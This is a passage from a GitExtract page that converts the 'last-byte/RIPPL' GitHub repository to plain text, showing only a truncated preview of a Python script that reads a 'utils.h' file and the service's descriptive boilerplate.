"preview": "import os\nimport sys\n\n# Read in the file\ntry:\n file_path = os.path.dirname(sys.argv[0]) + '\\\\RIPPL\\\\utils.h'\n with"
}
]
// ... and 1 more files (download for full content)
About this extraction
This page contains the full source code of the last-byte/RIPPL GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 38 files (373.5 KB), approximately 96.1k tokens, and a symbol index with 405 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.